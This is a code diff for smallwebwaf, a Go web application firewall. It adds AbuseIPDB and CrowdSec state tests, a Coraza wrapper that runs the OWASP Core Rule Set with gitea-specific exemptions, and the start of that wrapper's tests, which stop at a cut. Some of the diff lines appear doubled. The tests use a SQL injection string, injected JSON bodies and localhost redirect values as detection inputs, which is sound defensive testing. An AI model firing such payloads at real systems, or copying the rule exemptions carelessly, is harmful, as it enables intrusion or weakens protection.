checks, wantChecks := after.AbuseIPDB.Snapshot(), before.AbuseIPDB.Snapshot()
if !reflect.DeepEqual(checks, wantChecks) {
t.Errorf("%s read back\n%+v\nwant\n%+v", reputationJSON, checks, wantChecks)
}
if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual( if got, want := after.Alerts.Snapshot(), before.Alerts.Snapshot(); !reflect.DeepEqual(
got, want) { got, want) {
t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want) t.Errorf("%s read back\n%+v\nwant\n%+v", alertsJSON, got, want)
@@ -439,10 +471,13 @@ func TestMissingFilesAreEmptyState(t *testing.T) {
load(t, params) load(t, params)
held := params.Alerts.Snapshot() held := params.Alerts.Snapshot()
checks := params.AbuseIPDB.Snapshot()
if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 || if len(params.Ledger.Snapshot()) != 0 || len(params.Limiter.Snapshot()) != 0 ||
len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 || len(params.GeoJS.Snapshot()) != 0 || len(params.Lists.Snapshot()) != 0 ||
len(params.DNSBL.Snapshot()) != 0 || len(held.Cooldowns) != 0 || len(params.DNSBL.Snapshot()) != 0 || len(checks.Scores) != 0 || checks.Spent != 0 ||
len(held.Waiting[alerts.DestinationWebhook]) != 0 || held.Hour.Sent != 0 { len(held.Cooldowns) != 0 || len(held.Waiting[alerts.DestinationWebhook]) != 0 ||
held.Hour.Sent != 0 {
t.Error("state from no files") t.Error("state from no files")
} }
} }
@@ -604,6 +639,15 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
} }
} }
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
t.Parallel()
wantRefused(t, clientsJSON,
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
`"minute_refusals": {"current": 2}}]}`,
`: entry 1 has no "minute_refusals.start"`)
}
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
@@ -678,6 +722,47 @@ func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
} }
} }
func TestReputationJSONScoreWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel()
// scores opens the list of AbuseIPDB scores, and ends closes it; client,
// score and fetched make a score.
const (
scores = `{"version": 1, "abuseipdb": {"scores": [`
client = `"client": "198.51.100.7/32", `
score = `"score": 0, `
fetched = `"fetched": "2026-10-06T00:00:00Z"`
ends = `}]}}`
)
for _, tc := range []struct {
name, content string
// want is what the error says after the file's path.
want string
}{
{
"without its client", scores + `{` + score + fetched + ends,
`: abuseipdb scores entry 1 has no "client"`,
},
{
// A score of 0 is not having none.
"without the score",
scores + `{` + client + score + fetched + `}, {` + client + fetched + ends,
`: abuseipdb scores entry 2 has no "score"`,
},
{
"without the time it was fetched", scores + `{` + client + `"score": 100` + ends,
`: abuseipdb scores entry 1 has no "fetched"`,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
wantRefused(t, reputationJSON, tc.content, tc.want)
})
}
}
func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) { func TestAlertsJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel() t.Parallel()
@@ -774,8 +859,10 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+ `{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "admin"}, `+ `"expires": null, "cause": "admin"}, `+
`{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+ `{"netblock": "203.0.113.11/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T04:00:00Z", "cause": "crowdsec"}, `+
`{"netblock": "203.0.113.12/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": null, "cause": "atack"}]}`, `"expires": null, "cause": "atack"}]}`,
`: entry 3's cause "atack" is not limit, attack or admin`) `: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
} }
func TestUnknownVersionStopsTheStart(t *testing.T) { func TestUnknownVersionStopsTheStart(t *testing.T) {
@@ -853,7 +940,7 @@ func TestBansWrittenOnceWriteDelayAfterABan(t *testing.T) {
load(t, read) load(t, read)
want := []bans.Ban{first, second} want := []bans.Ban{first, second}
if got := read.Ledger.Snapshot(); !slices.Equal(got, want) { if got := read.Ledger.Snapshot(); !reflect.DeepEqual(got, want) {
t.Errorf("bans.json holds %+v, want %+v", got, want) t.Errorf("bans.json holds %+v, want %+v", got, want)
} }
@@ -1182,7 +1269,9 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+ edit(t, dir, reputationJSON, `{"version": 1, "lists": [{"url": "`+blocklistURL+`", `+
`"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+ `"tried": "2026-10-06T00:00:00Z", "fetched": "2026-10-06T00:00:00Z", `+
`"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+ `"lines": ["198.51.100.7"]}], "verdicts": [{"zone": "`+dnsblZone+`", `+
`"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}]}`) `"client": "198.51.100.7", "listed": true, "fetched": "2026-10-06T00:00:00Z"}], `+
`"abuseipdb": {"day": "2026-10-06T00:00:00Z", "spent": 9, "scores": [`+
`{"client": "198.51.100.7/32", "score": 80, "fetched": "2026-10-06T00:00:00Z"}]}}`)
wantTakenIn(t, lines, dir, reputationJSON) wantTakenIn(t, lines, dir, reputationJSON)
listedBy := params.Lists.ListedBy(client.Addr()) listedBy := params.Lists.ListedBy(client.Addr())
@@ -1195,6 +1284,14 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(), Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: midnight(),
}}) }})
checks := reputation.Checks{
Day: midnight(), Spent: 9,
Scores: []reputation.Score{{Client: client, Score: 80, Fetched: midnight()}},
}
if got := params.AbuseIPDB.Snapshot(); !reflect.DeepEqual(got, checks) {
t.Errorf("%s taken in as\n%+v\nwant\n%+v", reputationJSON, got, checks)
}
// A netblock with bits past its length is read as the netblock it is // A netblock with bits past its length is read as the netblock it is
// in. // in.
edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+ edit(t, dir, alertsJSON, `{"version": 1, "cooldowns": [{"event": "ban", `+
@@ -1603,7 +1700,7 @@ func newParams(dir string) state.Params {
AttackBanDuration: 7 * 24 * time.Hour, AttackBanDuration: 7 * 24 * time.Hour,
MaxBans: 5000, MaxBans: 5000,
}), }),
Limiter: ratelimit.New(ratelimit.Limits{}), Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
GeoJS: lookup.New(lookup.Params{ GeoJS: lookup.New(lookup.Params{
Now: midnight, ProcessLog: discard, Metrics: m, Now: midnight, ProcessLog: discard, Metrics: m,
}), }),
@@ -1615,6 +1712,10 @@ func newParams(dir string) state.Params {
Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second, Zones: []string{dnsblZone}, CacheTTL: 24 * time.Hour, Timeout: time.Second,
Now: midnight, ProcessLog: discard, Alerts: queue, Now: midnight, ProcessLog: discard, Alerts: queue,
}), }),
AbuseIPDB: reputation.NewAbuseIPDB(reputation.AbuseIPDBParams{
MinScore: 75, DailyBudget: 900, CacheTTL: 24 * time.Hour, Timeout: time.Second,
Now: midnight, ProcessLog: discard, Alerts: queue,
}),
Alerts: queue, Alerts: queue,
Anomalies: anomaly.New(anomaly.Params{ Anomalies: anomaly.New(anomaly.Params{
Net: anomaly.Thresholds{RequestsPerMinute: 1000}, Net: anomaly.Thresholds{RequestsPerMinute: 1000},
@@ -1637,10 +1738,12 @@ func office() netip.Prefix {
return netip.MustParsePrefix("203.0.113.0/24") return netip.MustParsePrefix("203.0.113.0/24")
} }
// fill puts a permanent ban an admin made, a ban for a broken limit and // fill puts a permanent ban an admin made, a ban for a broken limit, one
// one for a clear sign of attack, clients with counts and histories, // for a clear sign of attack and one for CrowdSec's decision, clients
// GeoJS answers, the blocklists' last tries and the copy of one, and two // with counts and histories,
// verdicts of a DNSBL zone, as filledReputationJSON holds them, and alerts // GeoJS answers, the blocklists' last tries and the copy of one, two
// verdicts of a DNSBL zone, and the AbuseIPDB checks spent today with two
// scores, as filledReputationJSON holds them, and alerts
// and anomaly counters, as filledAlertsJSON holds them, into the parts of // and anomaly counters, as filledAlertsJSON holds them, into the parts of
// params. // params.
func fill(params state.Params) { func fill(params state.Params) {
@@ -1653,6 +1756,8 @@ func fill(params state.Params) {
}) })
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now, params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
bans.Notes{RuleID: "env-file", Target: "path"}) bans.Notes{RuleID: "env-file", Target: "path"})
params.Ledger.BanForCrowdSec(netip.MustParsePrefix("198.51.100.9/32"), now,
now.Add(4*time.Hour), "crowdsecurity/ssh-bf", bans.Notes{})
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} { for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
params.Limiter.Count(netip.MustParsePrefix(c), now, whole) params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
@@ -1696,6 +1801,10 @@ func fill(params state.Params) {
}, },
{Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)}, {Zone: dnsblZone, Client: client.Addr(), Listed: true, Fetched: now.Add(-time.Hour)},
}) })
params.AbuseIPDB.Load(reputation.Checks{Day: now, Spent: 3, Scores: []reputation.Score{
{Client: netip.MustParsePrefix("2001:db8::/64"), Fetched: now.Add(-2 * time.Hour)},
{Client: client, Score: 100, Fetched: now.Add(-time.Hour)},
}})
// An alert waiting, a repeat of it the cooldown holds back, another // An alert waiting, a repeat of it the cooldown holds back, another
// alert waiting, and one past the two an hour, for the hour's summary. // alert waiting, and one past the two an hour, for the hour's summary.
@@ -1723,6 +1832,8 @@ func fill(params state.Params) {
// permanentBan is the ban permanentBansJSON holds. // permanentBan is the ban permanentBansJSON holds.
func permanentBan() bans.Ban { func permanentBan() bans.Ban {
score := int64(100)
return bans.Ban{ return bans.Ban{
Netblock: netip.MustParsePrefix("2001:db8::/64"), Netblock: netip.MustParsePrefix("2001:db8::/64"),
Start: midnight(), Start: midnight(),
@@ -1735,6 +1846,9 @@ func permanentBan() bans.Ban {
Limit: 1000, Limit: 1000,
Window: "minute", Window: "minute",
Count: 1000.5, Count: 1000.5,
Reputation: []bans.ReputationHit{
{Source: blocklistURL}, {Source: reputation.AbuseIPDBSource, Score: &score},
},
Request: bans.Request{ Request: bans.Request{
Time: midnight(), Time: midnight(),
Method: "GET", Method: "GET",
@@ -1745,7 +1859,7 @@ func permanentBan() bans.Ban {
}, },
Requests: 1500, Requests: 1500,
Refused: 3, Refused: 3,
EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1}, EarlierBans: bans.EarlierBans{Limit: 3, Attack: 1, Admin: 1, CrowdSec: 2},
}, },
} }
} }
@@ -1910,10 +2024,10 @@ func edit(t *testing.T, dir, name, content string) {
// wantEqual checks that the entries read back from file are those // wantEqual checks that the entries read back from file are those
// written. // written.
func wantEqual[E comparable](t *testing.T, file string, got, want []E) { func wantEqual[E any](t *testing.T, file string, got, want []E) {
t.Helper() t.Helper()
if !slices.Equal(got, want) { if !reflect.DeepEqual(got, want) {
t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want) t.Errorf("%s read back\n%+v\nwant\n%+v", file, got, want)
} }
} }
+336
View File
@@ -0,0 +1,336 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
// makes to it, as "Attack detection" under "Configuration surface" in
// SPEC.md describes them. It reads no response.
//
// smallwebwaf writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package waf
import (
"fmt"
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as smallwebwaf runs it, with the
// paranoia level for %d, and bodyDirectives for %s while
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
// switches one off. Coraza joins a line ending in \ to the next, without
// the spaces at the start of the next.
const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in
# Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
waf coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the six changes, at params'
// paranoia level, without the rules it switches off, and reading request
// bodies up to params' limit.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, which the app is still to be sent, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.waf.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
+688
View File
@@ -0,0 +1,688 @@
package waf_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
) (waf.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result {
const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a gitea request one of
// the six changes is for, and still finds result in refused, a request
// like it that the change is not for.
func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
) {
t.Helper()
wantResult(t, crs, passes, waf.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
waf.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
waf.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
